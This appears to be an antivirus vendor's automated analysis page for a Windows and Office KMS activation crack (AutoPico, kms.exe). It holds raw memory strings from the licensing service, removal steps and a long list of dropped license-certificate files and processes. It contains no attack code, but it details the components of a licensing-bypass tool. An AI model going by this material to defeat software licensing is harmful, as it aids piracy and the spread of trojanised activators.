SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\ReferralData\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PayloadOverride\
msft:rm/event/windows/consumeright
proxy-executed
cache.dat
msft:spp/publishedobject/pkey/install
msft:spp/token/PKeyIdUriMapper
pkeyId
pkeyIdList
publicCertificateId
decryptionCertificateId
pkeyConfigData
privateCertificateId
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Reboot.
SppBindingPkeyId
%s, %s, 0xX, 0xX
pkeyConfigLicenseId
0xX
%USERPROFILE%\Application Data\Microsoft\SoftwareProtectionPlatform\Cache\
%USERPROFILE%\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\Cache\
0000/00/000
M/d/d
%s 0xX %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins
%windir%\system32\oobe\setup.cfg
SppPkeyBindingPid4
SppPkeyBindingPid3
SppPkeyBindingPid2
SppPkeyBindingNullKeyField
msft:spp/notifications/common/setcurrentproductkey
SppNotificationPKeyId
[0xX, %d, %d],
%s, %d, %d [
SppPkeyBindingMPC
SppPkeyBindingMiscData
%d: %s
00000000-0000-0000-0000-000000000000
SppPkeyVirtual
Security-SPP-Reserved-AuthenticationKey
0xX
msft:sl/OEMCERT
SppPkeyChannelId
SppPkeySkipValidation
EULUrl
EULURL
PKCUrl
PKCURL
RACUrl
RACURL
SPCUrl
SPCURL
licensorUrl
LicensorUrl
SppBindingOOTSupported
hr=0x%X
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_USERS
<value>%s</value>
<type>%s</type>
<name>%s</name>
<clsid>%s</clsid>
<envelope xmlns="hXXp://VVV.microsoft.com/DRM/SL/WGA/Parameters/1.0">
msft://SLWGA/parametertype/pkeyalgorithm
msft://SLWGA/parametertype/pkey
msft://SLWGA/parametertype/pkeytype
msft://SLWGA/parametertype/pkeyconfigid
\\.\PhysicalDrive%u
\\.\%c:
msft://SLWGA/parametertype/ticketurl
ticketurl
0xx
hXXp://VVV.microsoft.com/DRM/SL/WGA/Parameters/1.0
hXXp://VVV.microsoft.com/DRM/XrML2/SL/v2
hXXp://VVV.microsoft.com/DRM/XrML2/TM/v2
tm:AESKeyValue/.
r:keyHolder
tm:symmetricKey
tm:privateKey
tm:decryptWithPrivateKey
tm:infoStr[@name="%s"]
sl:proxyExecutionKey
hXXp://VVV.microsoft.com/DRM/SPP/Plugin/Manifest/1.0
tokens.dat
keyUsage
certificationPrincipals
privateKey
signWithPrivateKey
receivePrivateKey
decryptWithPrivateKey
holdsPrivateKey
symmetricKey
proxyExecutionKey
keyHolder
KeyName
hXXp://VVV.w3.org/2000/09/xmldsig#
KeyValue
KeyInfo
)RSAKeyValue
hXXp://VVV.w3.org/2002/03/xkms#
EncryptedKey
hXXp://VVV.w3.org/2001/04/xmlenc#
AESKeyValue
.pkeyHash
.guid
.definition
.count
hXXp://VVV.microsoft.com/xrml/lwc14n
3hXXp://VVV.w3.org/2001/04/xmldsig-more#rsa-sha512
hXXp://VVV.w3.org/2001/04/xmldsig-more#rsa-sha256
hXXp://VVV.w3.org/2000/09/xmldsig#rsa-sha1
hXXp://VVV.w3.org/2001/04/xmlenc#aes256-cbc
hXXp://VVV.w3.org/2001/04/xmlenc#aes192-cbc
hXXp://VVV.w3.org/2001/04/xmlenc#aes128-cbc
hXXp://VVV.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p
hXXp://VVV.w3.org/2001/04/xmlenc#sha512
hXXp://VVV.w3.org/2001/04/xmlenc#sha256
hXXp://VVV.w3.org/2000/09/xmldsig#sha1
%s.%s
\\.\SPDevice
5%USERPROFILE%\Application Data\Microsoft\SoftwareProtectionPlatform\
%USERPROFILE%\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\
5f01e951-ad0f-4277-8c45-a62c2d0bfe04
$#%L%u%
advapi32.dll
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Windows
Operating System
6.1.7601.17514
Microsoft-Windows-Security-SPP/Perf

sppsvc.exe_3364_rwx_643DE000_0000B000:

R.wP|


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:816
    regedit.exe:2620
    regedit.exe:2240
    regedit.exe:1796
    AutoPico.exe:4080
    OSPPSVC.EXE:1948
    kms.exe:3348

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\normal_bg4[1].png (8463 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (960 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5085757\kms.exe (885 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\logs\AutoPico.log (69923 bytes)
    C:\ProgramData\Microsoft\OfficeSoftwareProtectionPlatform\Cache\cache.dat (821 bytes)
    C:\ProgramData\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat (153414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.PPDLIC.xrm-ms (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.PPDLIC.xrm-ms (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.PPDLIC.xrm-ms (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DevComponents.DotNetBar2.dll (53067 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6 (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8 (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_UL_OOB.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\pkeyconfig.xrm-ms (494 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\Remove_ScheduleTask.cmd (88 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.PPDLIC.xrm-ms (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-root-bridge-test.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-2-ul.xrm-ms (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_BRIDGE_OFFICE.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLRegWOW.reg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter\ServerDatacenter-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_UL.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-ul.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\EnterpriseN\EnterpriseN-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-ul-oob.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage\CoreSingleLanguage-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-ul-oob.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\visio.reg (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\Restore_Watermark.cmd (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN\ProfessionalN-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-1-ul-rtm.xrm-ms (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-ul.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ppd.xrm-ms (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Education\Education-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\AutoPico.exe (16222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\begin.mp3 (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_STIL.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\EnterpriseN\EnterpriseN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\pkeyconfig.xrm-ms (620 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\transfer.mp3 (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\EnableSmartScreen.cmd (72 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLRegWOW.reg (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLReg64.reg (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.PPDLIC.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLReg32.reg (5 bytes)
